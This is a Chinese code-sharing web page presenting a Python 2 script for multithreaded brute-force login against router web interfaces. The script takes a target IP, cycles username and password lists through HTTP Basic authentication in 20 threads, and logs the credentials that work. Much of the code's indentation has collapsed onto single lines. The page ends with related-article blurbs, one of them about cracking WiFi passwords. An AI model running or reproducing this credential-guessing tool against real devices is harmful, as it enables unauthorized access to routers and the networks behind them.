当前位置: 首页 > 编程笔记 >

python实现多线程暴力破解登陆路由器功能代码分享

焦同
2023-03-14
本文向大家介绍python实现多线程暴力破解登陆路由器功能代码分享,包括了python实现多线程暴力破解登陆路由器功能代码分享的使用技巧和注意事项,需要的朋友参考一下

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....


#coding:utf-8- 

import base64 

import urllib2 

import Queue 

import threading,re,sys 

queue = Queue.Queue() 

class Rout_thread(threading.Thread):

  def __init__(self,queue,passwd):

    threading.Thread.__init__(self)     self.queue=queue     self.passwordlist=passwd   def run(self):     self.user=queue.get()     for self.passwd in self.passwordlist:       request = urllib2.Request("http://"+target)       psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd)       request.add_header('Authorization', psw_base64)       try:                  response = urllib2.urlopen(request)         print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd)         fp3 = open('log.txt','a')         fp3.write(self.user+'||'+self.passwd+'\r\n')         fp3.close()       except urllib2.HTTPError:         print "[-]password:%s Error!" % (self.passwd)

 

if __name__ == '__main__':   print '''     #######################################################     #                                                     #     #                Routing brute force tool             #     #                                                     #     #                 by:well                             #     #                                                    #     ####################################################### '''   passwordlist = []   line = 20   threads = []   global target   target = raw_input("input ip:")   fp =open("user.txt")   fp2=open("passwd.txt")   for user in fp.readlines():     queue.put(user.split('\n')[0])   for passwd in fp2.readlines():     passwordlist.append(passwd.split('\n')[0])     #print passwordlist          fp.close()   fp2.close()   for i in range(line):     a = Rout_thread(queue,passwordlist)     a.start()     threads.append(a)   for j in threads:     j.join()

 类似资料:
  • 本文向大家介绍Python telnet登陆功能实现代码,包括了Python telnet登陆功能实现代码的使用技巧和注意事项,需要的朋友参考一下 阅读目录   源码请参考:starnightcyber/scripts   主要使用TelnetClient类,封装了登录和执行命令的基本操作。   源码如下,或请查看:scripts/telnet/telnet.py telnet协议是TCP/IP协

  • 本文向大家介绍JavaWeb登陆功能实现代码,包括了JavaWeb登陆功能实现代码的使用技巧和注意事项,需要的朋友参考一下 本文实例为大家分享了JavaWeb登陆功能的方法,供大家参考,具体内容如下 首先我们要JavaWeb登陆的基本流程:JSP页面发送请求——>Servlet——>Servlet通过调用方法从数据库中得到数据并将结果返回页面。 我们先建立三个jsp页面,包括login.jsp(登

  • 本文向大家介绍Java编程实现暴力破解WIFI密码的方法分析,包括了Java编程实现暴力破解WIFI密码的方法分析的使用技巧和注意事项,需要的朋友参考一下 本文实例讲述了Java编程实现暴力破解WIFI密码的方法。分享给大家供大家参考,具体如下: 开始进入正题。在网上找了很多wifi破解工具,都是linux平台下用的,然后还不支持虚拟机装linux。因为很多笔记本装虚拟机都识别不了内置网卡。所以得

  • 本文向大家介绍nodeJS实现路由功能实例代码,包括了nodeJS实现路由功能实例代码的使用技巧和注意事项,需要的朋友参考一下 前面的话 本文将使用NodeJS实现较复杂应用的路由功能 结构 项目结构如下 代码如下  功能 【router.js】 【404.html】 【about.html】 【home.html】 演示 以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持呐喊教

  • 本文向大家介绍python实现的登陆Discuz!论坛通用代码分享,包括了python实现的登陆Discuz!论坛通用代码分享的使用技巧和注意事项,需要的朋友参考一下 代码如下:

  • 本文向大家介绍ThinkPHP实现简单登陆功能,包括了ThinkPHP实现简单登陆功能的使用技巧和注意事项,需要的朋友参考一下 思路:前台输入账号密码,后台自定义一个函数checkNamePwd()用于验证账号密码正确与否,在控制器里调用,其中,checkNamePwd()方法验证账号密码正确性是首先通过账号查找密码,然后把查找出来的密码和用户输入的密码比较,相同则登陆成功,否则登录失败! 首先在